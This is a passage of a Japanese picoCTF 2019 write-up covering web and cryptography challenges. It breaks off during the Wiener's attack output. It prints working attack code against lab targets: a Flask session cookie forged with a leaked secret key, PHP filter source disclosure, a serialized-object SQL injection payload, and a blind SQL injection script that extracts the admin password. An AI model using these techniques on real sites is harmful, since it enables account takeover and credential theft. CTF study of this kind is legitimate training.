Very Urgent: {'import_name': 'app', 'template_folder': 'templates', 'root_path': '/problems/empire3_1_96368a0219a56d357ed9974de8b8f7d5/app', '_static_folder': 'static', '_static_url_path': None, 'cli': <flask.cli.AppGroup object at 0x7f99cecbf278>, 'instance_path': './instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'ce6a474e832ece298c50448e1feb069d', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'bootstrap.static': <bound method _PackageBoundObject.send_static_file of <flask.blueprints.Blueprint object at 0x7f99cb5210b8>>, 'index': <function index at 0x7f99cb4d4c80>, 'login': <function login at 0x7f99cb4d4bf8>, 'register': <function register at 0x7f99cb4d4d08>, 'add_item': <function add_item at 0x7f99cb4d4e18>, 'list_items': <function list_items at 0x7f99cb5022f0>, 'employee': <function employee at 0x7f99cb502510>, 'logout': <function logout at 0x7f99cb502730>}, 'error_handler_spec': {None: {404: {<class 'werkzeug.exceptions.NotFound'>: <function not_found_error at 0x7f99cb4d49d8>}}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {None: [<bound method LoginManager._update_remember_cookie of <flask_login.login_manager.LoginManager object at 0x7f99cb5215c0>>]}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [<function SQLAlchemy.init_app.<locals>.shutdown_session at 0x7f99cb537950>], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7f99cc608d90>, <function _user_context_processor at 0x7f99cb8cf268>]}, 'shell_context_processors': [], 'blueprints': {'bootstrap': <flask.blueprints.Blueprint object at 0x7f99cb5210b8>}, '_blueprint_order': [<flask.blueprints.Blueprint object at 0x7f99cb5210b8>], 'extensions': {'sqlalchemy': <flask_sqlalchemy._SQLAlchemyState object at 0x7f99cb521e10>, 'bootstrap': {'cdns': {'local': <flask_bootstrap.StaticCDN object at 0x7f99cb5215f8>, 'static': <flask_bootstrap.StaticCDN object at 0x7f99cb521ac8>, 'bootstrap': <flask_bootstrap.ConditionalCDN object at 0x7f99cb58bfd0>, 'jquery': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53a9b0>, 'html5shiv': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53ab00>, 'respond.js': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53ab70>}}, 'nav_renderers': {'bootstrap': ('flask_bootstrap.nav', 'BootstrapRenderer'), None: ('flask_bootstrap.nav', 'BootstrapRenderer')}}, 'url_map': Map([<Rule '/list_items' (HEAD, OPTIONS, GET) -> list_items>, <Rule '/register' (HEAD, OPTIONS, POST, GET) -> register>, <Rule '/add_item' (HEAD, OPTIONS, POST, GET) -> add_item>, <Rule '/employee' (HEAD, OPTIONS, GET) -> employee>, <Rule '/logout' (HEAD, OPTIONS, GET) -> logout>, <Rule '/index' (HEAD, OPTIONS, GET) -> index>, <Rule '/login' (HEAD, OPTIONS, POST, GET) -> login>, <Rule '/' (HEAD, OPTIONS, GET) -> index>, <Rule '/static/bootstrap/<filename>' (HEAD, OPTIONS, GET) -> bootstrap.static>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7f99ced04d50>, 'name': 'app', 'login_manager': <flask_login.login_manager.LoginManager object at 0x7f99cb5215c0>, 'jinja_env': <flask.templating.Environment object at 0x7f99cb521fd0>, 'jinja_loader': <jinja2.loaders.FileSystemLoader object at 0x7f99caf19898>}

前回と同様に SECRET_KEY が確認できるので、以下のリンクの記事を参考にデコードしました。 また、デコードすると、'user_id': '6' という項目が見えたので、user_idを6から2に変更してエンコードしてみます。

qiita.com

#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer
<200b>
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )
<200b>
class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)
<200b>
    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)
<200b>
<200b>
if __name__ == '__main__':
    secret_key = 'ce6a474e832ece298c50448e1feb069d'
    cookie = '.eJwlj0GOAjEMBP-SMwfHdpyYz4xix9YipF1pBk6IvzNo79WlrlfZco_jp1wf-zMuZbutci0LKT2wGfIkBLUFsxJKqxFiiwwbO6dWXtWny-oKzr2FpyeozpPvo4Mpip8O8wGUPU3EsyHpsFDhFdKmJLCOAcLQKVIlBpRL8WPP7fF3j9_zz4QmdMLuqOZmow0nm4JDVUGT6uzB_t09j9j_I6S8P-KOPy4.XZ6zUQ.68q9mcR3zPZhvVjHj1leknR39hI'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))
<200b>
    session = {'user_id': '2', '_fresh': True, 'csrf_token': 'a0563e65cc29bcbb858c3ba62899909f31a7e4c0', '_id': 'd23fce25b24a3209bd0a132651ee6bd3b254c4f914d1cac6d790c475ecfcf099ad0a7870b926c24abc803f7fb66cf52398be964de65a6f04988064073ef96e80'}
    print(FlaskSessionCookieManager.encode(secret_key, session))

実行すると、以下のようになります。エンコード結果をCookieに入れてページを更新すると、別ユーザでログインができました。 ​

$ python solve.py 
{'user_id': '6', '_id': 'd23fce25b24a3209bd0a132651ee6bd3b254c4f914d1cac6d790c475ecfcf099ad0a7870b926c24abc803f7fb66cf52398be964de65a6f04988064073ef96e80', '_fresh': True, 'csrf_token': 'a0563e65cc29bcbb858c3ba62899909f31a7e4c0'}
.eJwlj0GOAjEMBP-SMwfHdpyYz4xix9YipF1pBk6IvzNo79WlrlfZco_jp1wf-zMuZbutci0LKT2wGfIkBLUFsxJKqxFiiwwbO6dWXtWny-oKzr2FpyeozpPvo4Mpip8O8wGUPU3EsyHpsFDhFdKmJLCOAcLQKVIlBpRL8WPP7fF3j9_zz4QmdMLuqOZmow0nm4JDVUGT6uzB_t09j9j_I7C8P-KCPyo.XZ6zyA.8uz51Tc99ltKGYRP04QGe6iaJTE

​ ログインできたユーザのページのToDoリストのページを見ると、フラグが書かれていました。

Very Urgent: Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_e53b6d53}

picoCTF{cookies_are_a_sometimes_food_e53b6d53}

cereal hacker 2 - Points: 500

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195

phpのfilterを使って、ソースコードを漏洩させることに成功しました。

https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=login

Base64デコードすると、以下のようなソースコードとなっていました。

<?php

require_once('../sql_connect.php');
require_once('cookie.php');

if(isset($_POST['user']) && isset($_POST['pass'])){
    if(isset($_COOKIE['user_info'])){
        unset($_COOKIE['user_info']);
    }
    $u = $_POST['user'];
    $p = $_POST['pass'];

    if($sql_conn_login->connect_errno){
        die('Could not connect');
    }

    if (!($prepared = $sql_conn_login->prepare("SELECT username, admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
        die("SQL error");
    }

    $prepared->bind_param('ss', $u, $p);
    
    if (!$prepared->execute()) {
        die("SQL error");
    }
    
    if (!($result = $prepared->get_result())) {
        die("SQL error");
    }

    $r = $result->fetch_all();

    if($result->num_rows === 1){
        $perm = new permissions($u, $p);
        setcookie('user_info', urlencode(base64_encode(serialize($perm))), time() + (86400 * 30), "/");
        header('Location: index.php?file=login');
    }
    else{
        $error = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
    $sql_conn_login->close();
}
else if(isset($perm) && $perm->is_admin()){
    header('Location: index.php?file=admin');
    die();
}
else if(isset($perm)){
    header('Location: index.php?file=regular_user');
    die();
}

?>

    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Sign In</h5>
                            <?php if (isset($error)) echo $error;?>
                            <form class="form-signin" action="index.php?file=login" method="post">
                                <div class="form-label-group">
                                    <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
                                    <label for="user">Username</label>
                                </div>

                                <div class="form-label-group">
                                    <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
                                    <label for="pass">Password</label>
                                </div>

                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

cookie.php を読み出しているようなので、これも出力させました。

https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=cookie
<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
            die("SQL error");
        }

        $prepared->bind_param('ss', $this->username, $this->password);
    
        if (!$prepared->execute()) {
            die("SQL error");
        }
        
        if (!($result = $prepared->get_result())) {
            die("SQL error");
        }

        $r = $result->fetch_all();
        if($result->num_rows !== 1){
            $is_admin_val = 0;
        }
        else{
            $is_admin_val = (int)$r[0][0];
        }
        
        $sql_conn->close();
        return $is_admin_val;
    }
}

/* legacy login */
class siteuser
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        $result = $sql_conn->query($q);
        if($result->num_rows != 1){
            $is_user_val = 0;
        }
        else{
            $is_user_val = 1;
        }
        
        $sql_conn->close();
        return $is_user_val;
    }
}


if(isset($_COOKIE['user_info'])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
    }
    catch(Exception $except){
        die('Deserialization error.');
    }
}

?>

cookie.php には、使用されていないsiteuserクラスがあり、SQLインジェクションができそうです。 siteuser を呼び出すように調整し、Base64エンコードしたものをCookieuser_info に登録して、更新するとログインすることができました。

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or 'A'='A";}
↓ Base64エンコード
Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnQSc9J0EiO30=

ログインすると、以下のようなメッセージが出てきます。今回は、adminのパスワードがフラグとなっているようです。

Welcome to the admin page!
Flag: Find the admin's password!

パスワードの個所を' or binary password like 'pico%に変更してみました。これでもログインできるようです。

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:32:"' or binary password like 'pico%";}

Blind SQLインジェクションでパスワードを特定することができそうです。 以下のようなスクリプトを作成し、パスワードを1文字ずつ特定していきました。

import requests
import base64
import string

def check_password(password):
    php_serialize = "O:8:\"siteuser\":2:{s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:" + str(len(password) + 28) + ":\"' or binary password like '" + password + "%\";}"
    user_info = base64.b64encode(php_serialize.encode("utf-8")).decode("utf-8")

    url = "https://2019shell1.picoctf.com/problem/62195/index.php"
    params = {"file": "admin"}
    headers = {'Cookie': "user_info=" + user_info}
    response = requests.get(url, params=params, headers=headers)
    if "You are not admin!" in response.text:
        return False
    else:
        return True

def main():
    flag = ""
    while True:
        for ch in string.printable:
            if ch == "%" or ch == "_" or ch == "\\":
                ch = "\\" + ch
            test_flag = flag + ch
            if check_password(test_flag):
                flag = test_flag
                print(flag)
                break

if __name__ == "__main__":
    main()

実行すると、1文字ずつパスワードが出力されていきます。

$ python solve.py
p
pi
pic

# 省略

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

# 省略

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

Cryptography

The Numbers - Points: 50

The numbers... what do they mean?

数字の書かれた画像が渡されます。各番号がアルファベットの何番目かを示しているようです。 また、Hintsを見ると、すべて大文字であると書かれていました。

以上の条件を基に、変換用のスクリプトを用意しました。

def main():
    alphabet = []
    for i in range(26):
        alphabet.append(chr(ord("A") + i))
    
    enc_flag_prefix = [16, 9, 3, 15, 3, 20, 6]
    enc_flag_body = [20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14]

    flag = ""
    for i in enc_flag_prefix:
        flag += alphabet[i - 1]
    flag += "{"
    for i in enc_flag_body:
        flag += alphabet[i - 1]
    flag += "}"
    print(flag)

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python solve.py 
PICOCTF{THENUMBERSMASON}

PICOCTF{THENUMBERSMASON}

13 - Points: 100

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}

ROT13で変換するだけ

picoCTF{not_too_bad_of_a_problem}

Easy1 - Points: 100

The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.

table.txtを見ると、ヴィジュネル暗号だと分かりました。 今回は、以下のサイトを使って解きました。

www.dcode.fr

ENCODE_DATAVIGENERE CIPHERTEXT: UFJKXQZQUNB KNOWING THE KEY/PASSWORD: SOLVECRYPTO

picoCTF{CRYPTOISFUN}

caesar - Points: 100

Decrypt this message. You can find the ciphertext in /problems/caesar_6_238b8f4604d91ecb59cda5b4f0e66fc8 on the shell server.

rgdhhxcviwtgjqxrdcdydkefyh を11文字ずらすと、crossingtherubiconojovpqjs となり、読める文字列が出てきました。 この文字列がフラグとなっていました。

picoCTF{crossingtherubiconojovpqjs}

Flags - Points: 200

What do the flags mean?

国際信号旗が並んだ画像なので、それぞれ文字に変換するとフラグになります。

www.chartandmapshop.com.au

PICOCTF{F1AG5AND5TUFF}

Mr-Worldwide - Points: 200

A musician left us a message. What's it mean?

message.txtを開くと、以下のようになっています。

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

GPSの緯度経度になっていそうです。 GoogleMapで検索し、その都市の頭文字がフラグとなっていました。

picoCTF{KODIAK_ALASKA}

Tapping - Points: 200

Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 21897.

netcatで2019shell1.picoctf.com:21897に接続すると、モールス信号が出てきました。以下のサイトで変換すると、フラグとなりました。

morse.ariafloat.com

PICOCTF{M0RS3C0D31SFUN1818224575}

la cifra de - Points: 200

I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 1172.

netcatで2019shell1.picoctf.com:1172 に接続すると、暗号化された文章が表示されます。 Vigenere Solverというサービスに文章を張り付けて「Break Cipher」を押すと、復号されました。

www.guballa.de

picoCTF{b311a50_0r_v1gn3r3_c1ph3raac148e7}

rsa-pop-quiz - Points: 200

Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 49989

RSAに関する問題が出題されるので、1問1問解いていく必要があります。 以下のスクリプトを作成して解きました。

from pwn import *
from egcd import egcd
from Crypto.Util.number import *

con = remote("2019shell1.picoctf.com", 49989)

# #### NEW PROBLEM ####
# q : 60413
# p : 76753
# ##### PRODUCE THE FOLLOWING ####
# n
p = 60413
q = 76753
n = p * q
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("n:", str(n))

# #### NEW PROBLEM ####
# p : 54269
# n : 5051846941
# ##### PRODUCE THE FOLLOWING ####
# q
p = 54269
n = 5051846941
q = int(n/p)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("q:", str(q))

# #### NEW PROBLEM ####
# e : 3
# n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920
# 409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223
# 827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349
# 888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998
# 608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873
# 769413489072243477764350071787327913
# ##### PRODUCE THE FOLLOWING ####
# q
# p
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "N")

# #### NEW PROBLEM ####
# q : 66347
# p : 12611
# ##### PRODUCE THE FOLLOWING ####
# totient(n)
q = 66347
p = 12611
totient = (q - 1) * (p - 1)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("totient(n):", str(totient))

# #### NEW PROBLEM ####
# plaintext : 635729417148931154719098761554457513358196788649948409135266140641404444047520534288284123635766597343146
# 2491355089413710392273380203038793241564304774271529108729717
# e : 3
# n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116
# 332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159
# 718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087
# 472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943
# 158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054
# 327141666320553082128424707948750331
# ##### PRODUCE THE FOLLOWING ####
# ciphertext
plaintext = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e = 3
n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
ciphertext = pow(plaintext, e, n)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("ciphertext:", str(ciphertext))

# #### NEW PROBLEM ####
# ciphertext : 10752401345107934853994451075614360420392571726218503379932844501179276054552894499371978339254216342863
# 717232351225262456711111066616866474311520379151098570994236660962643699588778167465127223356630381497967750710116858
# 7739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
# e : 3
# n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165
# 260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332
# 556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947
# 907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246
# 790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939
# 559180772690007261562703222558103359
# ##### PRODUCE THE FOLLOWING ####
# plaintext
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "N")

# #### NEW PROBLEM ####
# q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410
# 980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756
# 238894784951597211105734179388300051579994253565459304743059533646753003894559
# p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891
# 389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398
# 338364421624871010292162533041884897182597065662521825095949253625730631876637
# e : 65537
# ##### PRODUCE THE FOLLOWING ####
# d
q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e = 65537
totient = (q - 1) * (p - 1)
d = egcd(e, totient)[1]
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("d:", str(d))

# #### NEW PROBLEM ####
# p : 15314304227252786879841261241720443415693514687428299094238669402046286191806868456128176357703470660060838769914
# 807101519472553339412606982685718242866042781827737872497755436591023152482725816090449377474874908847732820481217193
# 5987088715261127321911849092207070653272176072509933245978935455542420691737433
# ciphertext : 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962
# 867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922
# 816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022
# 851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133
# 241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515
# 144782123152608246868892673838596163063470464
# e : 65537
# n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206
# 671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167
# 457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736
# 952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206
# 600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051
# 640937681745409057246190498795697239
# ##### PRODUCE THE FOLLOWING ####
# plaintext

# Prime factorization:
# http://www.factordb.com/index.php?query=23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
q = 156408916769576372285319235535320446340733908943564048157238512311891352879208957302116527435165097143521156600690562005797819820759620198602417583539668686152735534648541252847927334505648478214810780526425005943955838623325525300844493280040860604499838598837599791480284496210333200247148213274376422459183
ciphertext = 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464
e = 65537
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
totient = (q - 1)*(p - 1)
d = egcd(e, totient)[1]
if d < 0:
    d += totient
plaintext = pow(ciphertext, d, n)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("plaintext:", str(plaintext))

# If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)
log.info(long_to_bytes(plaintext))

# con.interactive()

実行すると、フラグが取得できます。

$ python solve.py
[+] Opening connection to 2019shell1.picoctf.com on port 49989: Done
[*] b'picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}'
[*] Closed connection to 2019shell1.picoctf.com port 49989

picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}

miniRSA - Points: 300

Lets decrypt this: ciphertext? Something seems a bit small

eが小さい場合、e乗根を取れば、dを求めなくても復号することができます。 以下のようなスクリプトを作成しました。

from Crypto.Util.number import *
import gmpy

n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e = 3
c = 2205316413931134031074603746928247799030155221252519872649602375643231006596573791863783976856797977916843724727388379790172135717557077760267874464115099065405422557746246682213987550407899612567166189989232143975665175662662107329564517
m = int(gmpy.root(c, e)[0])
print(long_to_bytes(m))

実行すると復号され、フラグが取得できます。

$ python solve.py
b'picoCTF{n33d_a_lArg3r_e_11db861f}'

picoCTF{n33d_a_lArg3r_e_11db861f}

waves over lambda - Points: 300

We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 32282.

netcat で 2019shell1.picoctf.com:32282 に接続すると、英文のようなものが出てきます。 文字が別の文字に置き換えられているようなので、quipqiupというサイトで頻度分析させました。

quipqiup.com

何個か文章を投入すると、フラグを確認することができました。

congrats here is your flag - frequency_is_c_over_lambda_ptthttobuc

picoCTF{frequency_is_c_over_lambda_ptthttobuc}

b00tl3gRSA2 - Points: 400

In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 10814.

e が大きい場合、Wiener's attackが可能です。 Wiener's attack をやってくれる便利なパッケージ(owiener)があったので、こちらを利用しました。

github.com

from pwn import *
from Crypto.Util.number import *

# https://github.com/orisano/owiener
import owiener

def main():
    p = remote("2019shell1.picoctf.com",10814)
    p.readuntil(": ")
    c = int(p.readuntil("\n"))
    p.readuntil(": ")
    n = int(p.readuntil("\n"))
    p.readuntil(": ")
    e = int(p.readuntil("\n"))

    log.info("c = {}".format(c))
    log.info("n = {}".format(n))
    log.info("e = {}".format(e))
    d = owiener.attack(e, n)

    if d is None:
        log.info("Failed")
    else:
        log.info("Hacked d = {}".format(d))
    
    m = pow(c, d, n)
    log.info("Decrypted m = {}".format(m))
    log.info("FLAG is {}".format(long_to_bytes(m)))

if __name__ == "__main__":
    main()

実行すると、フラグが取得できます。

$ python solve.py
[+] Opening connection to 2019shell1.picoctf.com on port 10814: Done
[*] c = 4774732332714455228447437454375085287438113094510705622565209540406158544192371221474039148741132698332899707
761558926535951434336674823314108709415949894273759938561946919816407019113229448896657605778122423697702690417187896
9389742278493731341296974608724452883146077945077303068381534891047003614426446140
[*] n = 1249218555702404025513072023692307392870890573252402401494687118623513969280321534397775459964559263638701064
385358179940317246727234976265890353666646605691233301904449501277556129327953488417593016878361835646132395593764719
